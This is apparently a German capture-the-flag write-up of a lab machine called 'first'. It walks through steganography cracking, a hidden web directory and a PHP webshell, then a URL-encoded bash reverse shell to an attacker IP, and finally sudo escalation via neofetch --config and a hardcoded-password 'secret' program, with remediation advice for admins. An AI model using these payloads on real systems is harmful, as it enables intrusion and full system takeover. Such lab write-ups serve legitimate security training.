Analyse: Die Untersuchung beginnt mit Steganographie-Analyse einer Bilddatei (`first_Logo.jpg`), die vermutlich von der Webseite stammt. `stegseek` wird verwendet, um versteckte Daten mit Passwörtern aus der `rockyou.txt`-Liste zu finden.
Bewertung: `stegseek` ist erfolgreich und extrahiert Daten in die Datei `first_Logo.jpg.out`. Das verwendete Passwort ist `firstgurl1`. Der Inhalt der `.out`-Datei ist eine Base64-kodierte Nachricht.
Empfehlung (Pentester): Dekodieren Sie die Base64-Nachricht, um den versteckten Inhalt zu enthüllen. Merken Sie sich das Passwort `firstgurl1` für mögliche spätere Verwendung.
Empfehlung (Admin): Vermeiden Sie das Verstecken von sensiblen Informationen oder Hinweisen in Bildern mittels Steganographie auf öffentlich zugänglichen Webservern. Verwenden Sie keine leicht zu erratenden Passwörter für Steganographie.
SGkgSSBoYWQgdG8gY2hhbmdlIHRoZSBuYW1lIG9mIHRoZSB0b2RvIGxpc3QgYmVjb3VzZSBkaXJlY3RvcnkgYnVzdGluZyBpcyB0b28gZWFzeSB0aGVlc2UgZGF5cyBhbHNvIEkgZW5jb2RlZCB0aGlzIGluIGJlc2E2NCBiZWNvdXNlIGl0IGlzIGNvb2wgYnR3IHlvdXIgdG9kbyBsaXN0IGlzIDogMmYgNzQgMzAgNjQgMzAgNWYgNmMgMzEgNzMgNzQgNWYgNjYgMzAgNzIgNWYgNjYgMzEgNzIgMzUgNzQgZG8gaXQgcXVpY2sgd2UgYXJlIHZ1bG5hcmFibGUgZG8gdGhlIGZpcnN0IGZpcnN0IA==
Gefundenes Passwort (von stegseek): firstgurl1
Analyse: Die Base64-kodierte Nachricht aus der Bilddatei wird dekodiert.
Bewertung: Die dekodierte Nachricht enthält einen Hinweis auf einen versteckten Pfad, der als Hex-String kodiert ist: `2f 74 30 64 30 5f 6c 31 73 74 5f 66 30 72 5f 66 31 72 35 74`. Sie warnt auch vor Directory Busting und fordert auf, schnell zu handeln ("do the first first").
Empfehlung (Pentester): Konvertieren Sie den Hex-String in ASCII, um den versteckten Pfad zu erhalten. Untersuchen Sie diesen Pfad auf dem Webserver.
Empfehlung (Admin): Vermeiden Sie Obfuskation (wie Hex-Kodierung) als Sicherheitsmaßnahme. Sichern Sie Pfade angemessen.
Hi I had to change the name of the todo list becouse directory busting is too easy theese days also I encoded this in besa64 becouse it is cool btw your todo list is : 2f 74 30 64 30 5f 6c 31 73 74 5f 66 30 72 5f 66 31 72 35 74 do it quick we are vulnarable do the first first
Analyse: Der Hex-String aus der dekodierten Nachricht wird mithilfe eines Online-Tools (oder manuell) in ASCII konvertiert.
Bewertung: Die Konvertierung ergibt den Pfad `/t0d0_l1st_f0r_f1r5t`. Dies ist das versteckte Verzeichnis, das untersucht werden muss.
Empfehlung (Pentester): Führen Sie eine Verzeichnis-Enumeration (z.B. mit Gobuster) auf `http://first.hmv/t0d0_l1st_f0r_f1r5t/` durch. `first.hmv` muss ggf. zur `/etc/hosts` Datei hinzugefügt werden, die auf die Ziel-IP zeigt.
Empfehlung (Admin): Sichern Sie das Verzeichnis `/t0d0_l1st_f0r_f1r5t/` angemessen.
https://www.rapidtables.com/convert/number/hex-to-ascii.html 2f 74 30 64 30 5f 6c 31 73 74 5f 66 30 72 5f 66 31 72 35 74 -------------------------------------------------------------- /t0d0_l1st_f0r_f1r5t -------------------------------------------------------------- http://first.hmv/t0d0_l1st_f0r_f1r5t/
Analyse: `gobuster` wird verwendet, um das zuvor entdeckte Verzeichnis `http://first.hmv/t0d0_l1st_f0r_f1r5t/` auf weitere Dateien und Unterverzeichnisse zu scannen. Der `--wildcard`-Parameter wird verwendet, was darauf hindeutet, dass der Server möglicherweise für nicht existierende Pfade einen Standardinhalt zurückgibt (was normale Scans stören kann).
Bewertung: Die genaue Ausgabe von Gobuster fehlt im Log. Die nachfolgenden Schritte implizieren jedoch, dass ein Verzeichnis `/uploads/` und darin eine Webshell (`ben.phtml`) gefunden oder eine Upload-Funktion entdeckt und ausgenutzt wurde, um `ben.phtml` hochzuladen.
Empfehlung (Pentester): Untersuchen Sie das `/uploads/`-Verzeichnis und die `ben.phtml`-Datei. Nutzen Sie die Webshell zur Codeausführung.
Empfehlung (Admin): Sichern Sie Upload-Funktionen rigoros (Dateityp-Validierung, Größenbeschränkung, Speichern außerhalb des Web-Roots, Umbenennen hochgeladener Dateien). Beschränken Sie den Zugriff auf Upload-Verzeichnisse und verhindern Sie die Ausführung von Skripten darin.
[...]
Analyse: Es wird eine URL zur Webshell `ben.phtml` im Verzeichnis `/uploads/` gezeigt. Diese Shell nimmt einen `cmd`-Parameter entgegen, um Befehle auszuführen. Zuerst wird `ls` ausgeführt (implizit), dann wird versucht, eine Reverse Shell zu starten.
Bewertung: Die Existenz einer funktionierenden Webshell (`ben.phtml`) ermöglicht Remote Code Execution (RCE). Die Verwendung des `cmd`-Parameters ist typisch für einfache Webshells.
Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf dem Angreifer-System (IP `192.168.2.140` laut URL, Port `9001`) und rufen Sie dann die Reverse-Shell-URL auf, um eine interaktive Shell zu erhalten.
Empfehlung (Admin): Entfernen Sie die Webshell `ben.phtml` und das Verzeichnis `/uploads/` oder sichern Sie es. Untersuchen Sie, wie die Shell hochgeladen werden konnte.
http://first.hmv/t0d0_l1st_f0r_f1r5t/uploads/ben.phtml?cmd=ls http://first.hmv/t0d0_l1st_f0r_f1r5t/uploads/ben.phtml?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.140%2F9001%200%3E%261%27
Analyse: Ein Netcat-Listener wird gestartet (`nc -lvnp 9001`). Nach Aufruf der Reverse-Shell-URL (implizit) wird eine Verbindung vom Zielsystem (`192.168.2.107`) empfangen.
Bewertung: Die Reverse Shell ist erfolgreich. Der Angreifer hat nun eine Shell als Benutzer `www-data` im Verzeichnis `/var/www/html/t0d0_l1st_f0r_f1r5t/uploads`.
Empfehlung (Pentester): Stabilisieren Sie die Shell mit Python pty und `export TERM`.
Empfehlung (Admin): Beheben Sie die RCE-Schwachstelle (Webshell).
listening on [any] 9001 ... connect to [192.168.2.131] from (UNKNOWN) [192.168.2.107] 41984
Analyse: Die erhaltene Shell wird stabilisiert.
Bewertung: Shell ist nun interaktiv.
Empfehlung (Pentester): Beginnen Sie die Enumeration als `www-data`.
Empfehlung (Admin): Administrative Aktion des Angreifers.
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Analyse: Das `/home`-Verzeichnis wird aufgelistet, es existiert ein Benutzer `first`. Es wird `sudo -l` ausgeführt (implizit, da der nächste Schritt eine sudo-Ausnutzung ist).
Bewertung: Der Benutzer `first` wird bestätigt. Die `sudo -l`-Ausgabe (nicht gezeigt) muss ergeben haben, dass `www-data` den Befehl `neofetch` als Benutzer `first` ausführen darf. Dies ist eine ungewöhnliche, aber ausnutzbare `sudo`-Regel.
Empfehlung (Pentester): Nutzen Sie die `sudo neofetch`-Berechtigung zur Eskalation zu `first`. Suchen Sie auf GTFOBins nach der Technik.
Empfehlung (Admin): Überprüfen Sie die `sudo`-Regeln für `www-data`. Geben Sie Webserver-Benutzern keine `sudo`-Rechte, schon gar nicht für potenziell unsichere Befehle wie `neofetch` mit Konfigurationsdateien.
drwxr-xr-x 5 first first 4096 Aug 10 06:30 first
# sudo -l (Ausgabe nicht im Log, aber impliziert Berechtigung für nächsten Schritt)
Kurzbeschreibung: Der Benutzer `www-data` hat die `sudo`-Berechtigung, `/bin/neofetch` als Benutzer `first` auszuführen. `neofetch` erlaubt das Laden einer Konfigurationsdatei über den Parameter `--config`. Wenn diese Konfigurationsdatei ausführbare Befehle enthält und mit den Rechten des Zielbenutzers (`first`) interpretiert wird, kann dies zur Codeausführung als dieser Benutzer missbraucht werden.
Voraussetzungen:
Schritt-für-Schritt-Anleitung:
1. Erstellen der bösartigen Konfigurationsdatei: Eine temporäre Datei wird mit `mktemp` erstellt. In diese Datei wird der Befehl `exec /bin/sh` geschrieben. Dieser Befehl ersetzt den laufenden Prozess durch eine Shell.
Bewertung: Die temporäre Datei (`/tmp/tmp.CvOjpkcwzr`) mit dem Shell-Payload wird erfolgreich erstellt.
Empfehlung (Pentester): Rufen Sie `neofetch` mit `sudo -u first` und der Option `--config` auf, um die erstellte Datei zu laden.
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel.
2. Ausführen von 'neofetch' mit bösartiger Konfiguration: Der Befehl `sudo -u first neofetch --config $TF` wird ausgeführt. Ein erster Versuch scheitert mit "Permission denied" beim Zugriff auf die temporäre Datei.
Bewertung: Der Fehler "Permission denied" tritt auf, weil die von `www-data` erstellte temporäre Datei standardmäßig nur für `www-data` les-/schreibbar ist. Der Benutzer `first` (als der `neofetch` läuft) kann sie nicht lesen.
Empfehlung (Pentester): Ändern Sie die Berechtigungen der temporären Datei, damit sie für `first` (oder alle) lesbar/ausführbar ist (`chmod 777`). Versuchen Sie den `sudo neofetch`-Befehl erneut.
Empfehlung (Admin): Beheben Sie die `sudo`-Regel.
/bin/neofetch: line 4459: /tmp/tmp.CvOjpkcwzr: Permission denied .-/+oossssoo+/-. first@first `:+ssssssssssssssssss+:` ----------- -+ssssssssssssssssssyyssss+- OS: Ubuntu 20.04.4 LTS x86_64 .ossssssssssssssssssdMMMNysssso. Host: VirtualBox 1.2 /ssssssssssshdmmNNmmyNMMMMhssssss/ Kernel: 5.4.0-122-generic +ssssssssshmydMMMMMMMNddddyssssssss+ Uptime: 22 mins /sssssssshNMMMyhhyyyyhmNMMMNhssssssss/ Packages: 698 (dpkg), 4 (snap) .ssssssssdMMMNhsssssssssshNMMMdssssssss. Shell: bash 5.0.17 +sssshhhyNMMNyssssssssssssyNMMMysssssss+ Resolution: preferred ossyNMMMNyMMhsssssssssssssshmmmhssssssso CPU: AMD Ryzen 9 5900X (1) @ 3.700GHz ossyNMMMNyMMhsssssssssssssshmmmhssssssso GPU: 00:02.0 VMware SVGA II Adapter +sssshhhyNMMNyssssssssssssyNMMMysssssss+ Memory: 235MiB / 976MiB .ssssssssdMMMNhsssssssssshNMMMdssssssss. /sssssssshNMMMyhhyyyyhdNMMMNhssssssss/ +sssssssssdmydMMMMMMMMddddyssssssss+ /ssssssssssshdmNNNNmyNMMMMhssssss/ .ossssssssssssssssssdMMMNysssso. -+sssssssssssssssssyyyssss+- `:+ssssssssssssssssss+:` .-/+oossssoo+/-.
3. Korrigieren der Berechtigungen und erneutes Ausführen: Die Berechtigungen der temporären Datei werden mit `chmod 777` geändert. Der `sudo neofetch`-Befehl wird erneut ausgeführt.
Bewertung: Diesmal ist der Befehl erfolgreich! `neofetch` lädt die Konfigurationsdatei, führt `exec /bin/sh` aus und startet eine Shell. Der `id`-Befehl bestätigt, dass wir nun als `first` (UID 1000) agieren.
Empfehlung (Pentester): Stabilisieren Sie die Shell als `first`. Suchen Sie nach Wegen zur Eskalation zu root.
Empfehlung (Admin): Entfernen Sie die `sudo`-Regel.
tmp.CvOjpkcwzr tmp.Nb2zfzfVjs
uid=1000(first) gid=1000(first) groups=1000(first),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
Risikobewertung: Mittel. Ermöglicht die Übernahme eines anderen Benutzerkontos durch eine unsichere `sudo`-Regel.
Empfehlungen zur Behebung:
Kurzbeschreibung: Der Benutzer `first` hat die `sudo`-Berechtigung, ein benutzerdefiniertes Programm `/usr/bin/secret` (oder einfach `secret`, wenn es im PATH liegt) auszuführen. Dieses Programm fordert ein Passwort an und führt bei korrekter Eingabe einen übergebenen Befehl aus. Das Passwort ist hartkodiert oder leicht zu erraten.
Voraussetzungen:
Schritt-für-Schritt-Anleitung:
1. Ausführen von 'sudo secret' und Passworteingabe: Der Befehl `sudo secret` wird ausgeführt. Das Programm fragt nach einem Passwort. Das Passwort `12345678910` wird eingegeben.
Bewertung: Das Passwort wird als korrekt erkannt. Das Programm fordert nun zur Eingabe eines Befehls auf.
Empfehlung (Pentester): Geben Sie `bash` oder `/bin/bash` ein, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Entfernen Sie das unsichere `secret`-Programm oder die `sudo`-Regel. Verwenden Sie keine Programme mit hartkodierten Passwörtern für Privilegienverwaltung.
pass: 12345678910
correct, input command:
2. Starten der Root-Shell: Der Befehl `bash` wird eingegeben.
Bewertung: Das `secret`-Programm führt `bash` mit den durch `sudo` erhaltenen Root-Rechten aus. Der Angreifer erhält eine Root-Shell (`root@first:/tmp#`).
Empfehlung (Pentester): Ziel erreicht. Lesen Sie die Root-Flag.
Empfehlung (Admin): Entfernen Sie das `secret`-Programm und die zugehörige `sudo`-Regel.
correct, input command:bash
Risikobewertung: Hoch. Ein benutzerdefiniertes Programm, das über `sudo` ausgeführt werden kann und ein schwaches/hartkodiertes Passwort zur Befehlsausführung verwendet, stellt eine direkte und einfache Methode zur vollständigen Systemübernahme dar.
Empfehlungen zur Behebung:
Analyse: Als Root wird in `/root` gewechselt und `r00t.txt` gelesen.
Bewertung: Root-Flag erfolgreich gelesen: `477d9a6aa33e3818ced1ad3015b53b43`.
Empfehlung (Pentester): Dokumentieren.
Empfehlung (Admin): Beheben Sie die Schwachstellen.
r00t.txt snap
477d9a6aa33e3818ced1ad3015b53b43
Analyse: Als Root wird die User-Flag in `/home/first/user.txt` gelesen (obwohl sie bereits als `www-data` gelesen wurde).
Bewertung: User-Flag bestätigt: `3120a57478d631a5ef82ef5d96146389`.
first
snap user.txt
3120a57478d631a5ef82ef5d96146389